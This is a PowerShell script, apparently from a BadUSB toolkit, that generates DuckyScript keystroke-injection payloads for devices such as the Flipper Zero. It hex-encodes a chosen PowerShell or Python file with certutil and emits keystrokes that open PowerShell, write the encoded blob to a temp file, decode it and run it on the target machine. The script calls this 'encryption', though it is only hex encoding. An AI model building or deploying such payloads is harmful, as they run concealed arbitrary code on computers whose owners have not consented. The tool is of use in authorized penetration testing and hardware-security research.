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encode.ps1
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encode.ps1
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# Title: REDD's Encrypted Payload Generator
# Description: Creates a encrypted Payload for BadUSB/Duckyscript Devices.
# AUTHOR: InfoSecREDD & dag
# Version: 1.7
$path = split-path -parent $MyInvocation.MyCommand.Definition
$script = $MyInvocation.MyCommand.Name
$payload_filename = "gen_payload.tmp"
$payload_file = "$path\$payload_filename"
$temp_file = "$path\temp.txt"
$final_file = "$path\payload.txt"
$argcheck = $args.Count
$flipper = 0
$IsFullPath = 0
Write-Host "`n`n ::::::::: :::::::::: ::::::::: ::::::::: ::: :::::::: `n :+: :+: :+: :+: :+: :+: :+: :+ :+: :+: `n +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ `n +#++:++#: +#++:++# +#+ +:+ +#+ +:+ +#++:++#++ `n +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ `n #+# #+# #+# #+# #+# #+# #+# #+# #+# `n ### ### ########## ######### ######### ######## `n`n REDD's Encrypted Payload Generator`n"
if ( 0 -eq $argcheck )
{
Write-Host "`nERROR: No arguments supplied to encrypt.`n`nSyntax: $script `<File_to_Encrypt`>`n $script `<File_to_Encrypt`> -flipper`n`n"
exit
}
if (Test-Path "$temp_file") {
Remove-Item "$temp_file" >$null 2>&1
}
if ( 1 -eq $argcheck )
{
$argpath = Get-ChildItem "$args" | Select-Object -ExpandProperty FullName
if ("$args" -eq "$argpath") {
if (Test-Path "$args") {
certutil -encodehex -f "$argpath" "$temp_file" 0x40000001 >$null 2>&1
}
}
elseif (Test-Path "$path\$args") {
certutil -encodehex -f "$path\$args" "$temp_file" 0x40000001 >$null 2>&1
}
else {
Write-Host "`nERROR: No file named $args in $path.`n`n"
exit
}
}
elseif ( 2 -ge $argcheck )
{
$showfile = $args[0]
if (Test-Path "$showfile") {
$argpath = Get-ChildItem $showfile | Select-Object -ExpandProperty FullName
}
if ("$showfile" -eq "$argpath") {
$IsFullPath = 1
}
if ("$IsFullPath" -ne "1") {
if (!(Test-Path "$path\$showfile")) {
Write-Host "`nERROR: No file named $showfile in $path.`n`n"
exit
}
}
$showargs = $args[1]
if ( $showargs -eq "-adv" ) {
$AdvMode = 1
Do {
$flipperinput = Read-Host -Prompt 'Do you want Flipper Zero/BadUSB compatibility?(y/N): '
}
Until ( $flipperinput -eq 'y' -Or $flipperinput -eq 'n' -Or $flipperinput -eq 'Y' -Or $flipperinput -eq 'N' )
if ( $flipperinput -eq 'y' -Or $flipperinput -eq 'Y' ) {
$flipper = 1
}
Do {
$ptitleinput = Read-Host -Prompt 'Payload Title: '
}
Until ( $ptitleinput -ne "" )
Do {
$pdescinput = Read-Host -Prompt 'Payload Description: '
}
Until ( $pdescinput -ne "" )
Do {
$pauthorinput = Read-Host -Prompt 'Payload Author: '
}
Until ( $pauthorinput -ne "" )
Do {
$pversioninput = Read-Host -Prompt 'Payload Version: '
}
Until ( $pversioninput -ne "" )
$delayamount = 0
Do {
$delayinput = Read-Host -Prompt 'Do you want to add a Custom DELAY in your Payload after Opening PowerShell(y/N): '
}
Until ( $delayinput -eq 'y' -Or $delayinput -eq 'n' -Or $delayinput -eq 'Y' -Or $delayinput -eq 'N' )
if ( $delayinput -eq 'y' -Or $delayinput -eq 'Y' ) {
[regex] $match = '^([1-9][0-9]{2,4})$'
do {
$delayamount = Read-Host "Enter 3-5 digits for a Custom DELAY: "
}
until ($delayamount -match $match)
}
Write-Host " -- It is still recommended to edit the payload to set DELAY's correctly.`n`n"
}
if ( $args[1] -eq "-flipper" -Or $args[1] -eq "-badusb" -Or $args[1] -eq "-adv" )
{
Write-Host "Creating $final_file for Flipper Zero/BadUSB Compatiblity."
$flipper = 1
certutil -encodehex -f "$argpath" "$temp_file" 0x40000001 >$null 2>&1
}
else {
$showargs = $args[1]
Write-Host "ERROR: Arugment `'$showargs`' is not valid. Please try again.`n"
exit
}
}
else
{
Write-Host "Arguments are not valid. Please Try again.`n"
}
$output = Get-Content "$temp_file" | Out-String
$output = $output.replace("`r`n", "")
Remove-Item "$temp_file" >$null 2>&1
if (Test-Path "$payload_file") {
Remove-Item "$payload_file" >$null 2>&1
New-Item -Name "$payload_filename" -ItemType File >$null 2>&1
}
else {
New-Item -Name "$payload_filename" -ItemType File >$null 2>&1
}
if ( $AdvMode -eq "1" ) {
"REM Title : $ptitleinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Title :" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Description: $pdescinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Description:" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Author : $pauthorinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Author :" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Version : $pversioninput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Version :" | Out-File -FilePath "$payload_file" -Append
}
"REM Generated by REDD's Encrypted Payload Generator" | Out-File -FilePath "$payload_file" -Append
"REM - It is highly suggested you adjust the DELAYS for your use." | Out-File -FilePath "$payload_file" -Append
if ( 1 -ne $flipper )
{
"DUCKY_LANG US" | Out-File -FilePath "$payload_file" -Append
}
else
{
Write-Host "--> Skipping DUCKY_LANG String for Flipper Zero/BadUSB Compatibility."
}
"DELAY 2000" | Out-File -FilePath "$payload_file" -Append
"GUI r" | Out-File -FilePath "$payload_file" -Append
"DELAY 200" | Out-File -FilePath "$payload_file" -Append
"STRING powershell" | Out-File -FilePath "$payload_file" -Append
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
if ( 1 -ne $flipper ) {
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
}
elseif ( 1 -eq $flipper -And 0 -eq $AdvMode ) {
Write-Host "--> Adding extra DELAY for Flipper Compatibility."
"DELAY 2000" | Out-File -FilePath "$payload_file" -Append
}
elseif ( $AdvMode -eq 1 -And 0 -ne $delayamount) {
"REM Custom DELAY added." | Out-File -FilePath "$payload_file" -Append
"DELAY $delayamount" | Out-File -FilePath "$payload_file" -Append
}
else {
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
}
$scriptExtension = [System.IO.Path]::GetExtension($argpath).ToLower()
if ($scriptExtension -eq ".ps1") {
$PShell = "STRING `$TempFile = `"`$env:TEMP\temp.ps1`"; `$File = `"`$env:TEMP\l.ps1`"; echo $output `> `"`$TempFile`"; certutil -f -decode `"`$TempFile`" `"`$File`" `| out-null`; `& `"`$env:TEMP\l.ps1`"" | Out-File -FilePath "$payload_file" -Append
"DELAY 1000" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
} elseif ($scriptExtension -eq ".py") {
$Pthon = "STRING `$TempFile = `"`$env:TEMP\temp.py`"; `$File = `"`$env:TEMP\l.py`"; echo $output `> `"`$TempFile`"; certutil -f -decode `"`$TempFile`" `"`$File`" `| out-null`; python `"`$env:TEMP\l.py`"" | Out-File -FilePath "$payload_file" -Append
"DELAY 1000" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
} else {
Write-Host "The script is neither a PowerShell (.ps1) nor a Python (.py) file."
}
Get-Content "$payload_file" | out-file -encoding ASCII "$final_file"
Remove-Item "$payload_file" >$null 2>&1
Write-Host "`nPayload Generation Complete.`n`n Location: $final_file`n`n"